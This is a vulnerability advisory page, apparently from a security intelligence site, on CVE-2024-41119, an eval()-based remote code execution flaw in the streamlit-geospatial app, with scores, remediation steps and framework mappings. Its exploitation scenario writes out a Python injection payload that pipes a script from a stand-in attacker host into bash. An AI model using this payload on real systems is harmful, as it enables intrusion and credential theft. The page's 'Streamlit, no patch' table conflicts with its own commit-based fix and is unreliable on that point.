CVE-2024-41119: Streamlit RCE — CRITICAL

CISO Take

This is a trivially exploitable remote code execution vulnerability requiring zero authentication — any internet-exposed instance is fully compromised by design. Patch immediately to commit c4f81d96 or take the application offline; assume breach if the service was publicly accessible. Audit all Streamlit-based ML dashboards in your environment for similar eval() patterns on user-controlled inputs.

What is the risk?

Maximum risk for any internet-exposed deployment. CVSS 9.8 with AV:N/AC:L/PR:N/UI:N means no barriers to exploitation — a single HTTP request is sufficient. The eval() antipattern is well-understood and exploits are trivial to craft, placing this within script-kiddie reach. AI/ML dashboards are frequently deployed on internal or cloud infrastructure with broad permissions (model access, cloud credentials, data pipelines), dramatically amplifying blast radius beyond the application itself.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Streamlit	pip	—	No patch
45.0K OpenSSF 7.2 2.9K dependents Pushed 3d ago 7% patched ~0d to patch Full package profile →

Do you use Streamlit? You're affected.

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

1.4%

chance of exploitation in 30 days

Higher than 69% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

5 steps

PATCH

Update to commit c4f81d9616d40c60584e36abb15300853a66e489 immediately; verify the eval() call on line 86 of 8_Raster_Data_Visualization.py has been replaced with safe input handling.
ISOLATE

If patching is not immediately possible, take the application offline or restrict access to trusted IP ranges via network controls (VPN, firewall allowlist).
AUDIT

Review all other pages in the application and any other Streamlit apps in your environment for eval(), exec(), or subprocess calls on user-controlled inputs.
FORENSICS

If the application was internet-accessible, conduct incident response — check for new user accounts, cron jobs, unusual outbound connections, and unauthorized file modifications on the host.
HARDEN

Enforce a policy that Streamlit ML apps must never expose eval/exec on user inputs; add SAST rules (Bandit, Semgrep) to CI/CD pipelines to catch CWE-20 patterns in Python ML codebases.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Framework Inference AML.T0025 - Exfiltration via Cyber Means AML.T0037 - Data from Local System AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.9.1 - Information security in AI system development

NIST AI RMF

MANAGE 2.2 - Mechanisms are in place to minimize AI risk impacts

OWASP LLM Top 10

LLM05:2025 - Improper Output Handling / Insecure Code Execution

Frequently Asked Questions

What is CVE-2024-41119?

This is a trivially exploitable remote code execution vulnerability requiring zero authentication — any internet-exposed instance is fully compromised by design. Patch immediately to commit c4f81d96 or take the application offline; assume breach if the service was publicly accessible. Audit all Streamlit-based ML dashboards in your environment for similar eval() patterns on user-controlled inputs.

Is CVE-2024-41119 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-41119, increasing the risk of exploitation.

How to fix CVE-2024-41119?

1. PATCH: Update to commit c4f81d9616d40c60584e36abb15300853a66e489 immediately; verify the eval() call on line 86 of 8_Raster_Data_Visualization.py has been replaced with safe input handling. 2. ISOLATE: If patching is not immediately possible, take the application offline or restrict access to trusted IP ranges via network controls (VPN, firewall allowlist). 3. AUDIT: Review all other pages in the application and any other Streamlit apps in your environment for eval(), exec(), or subprocess calls on user-controlled inputs. 4. FORENSICS: If the application was internet-accessible, conduct incident response — check for new user accounts, cron jobs, unusual outbound connections, and unauthorized file modifications on the host. 5. HARDEN: Enforce a policy that Streamlit ML apps must never expose eval/exec on user inputs; add SAST rules (Bandit, Semgrep) to CI/CD pipelines to catch CWE-20 patterns in Python ML codebases.

What systems are affected by CVE-2024-41119?

This vulnerability affects the following AI/ML architecture patterns: ML data visualization dashboards, geospatial AI/ML platforms, research compute environments, model serving.

What is the CVSS score for CVE-2024-41119?

CVE-2024-41119 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.40%.

What is the AI security impact?

Affected AI Architectures

ML data visualization dashboardsgeospatial AI/ML platformsresearch compute environmentsmodel serving

MITRE ATLAS Techniques

AML.T0025 Exfiltration via Cyber Means

AML.T0037 Data from Local System

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.9.1

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM05:2025

What are the technical details?

Original Advisory

streamlit-geospatial is a streamlit multipage app for geospatial applications. Prior to commit c4f81d9616d40c60584e36abb15300853a66e489, the `vis_params` variable on line 80 in `8_🏜️_Raster_Data_Visualization.py` takes user input, which is later used in the `eval()` function on line 86, leading to remote code execution. Commit c4f81d9616d40c60584e36abb15300853a66e489 fixes this issue.

Exploitation Scenario

An attacker discovers an internet-exposed streamlit-geospatial instance via Shodan or Censys (Streamlit default port 8501). They navigate to the Raster Data Visualization page (/8_Raster_Data_Visualization) and submit a crafted vis_params value such as: `__import__('os').popen('curl https://attacker.com/implant.sh | bash').read()`. The application passes this directly to eval() at line 86 with no sanitization, executing the attacker's payload server-side. Within seconds, the attacker has a reverse shell on the ML host, from which they pivot to exfiltrate model weights, cloud credentials (AWS IAM keys, GCP service accounts), and any connected databases or data pipelines — all without needing a username or password.

Weaknesses (CWE)

CWE-20 Improper Input Validation

CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

[Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
[Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Source: MITRE CWE corpus.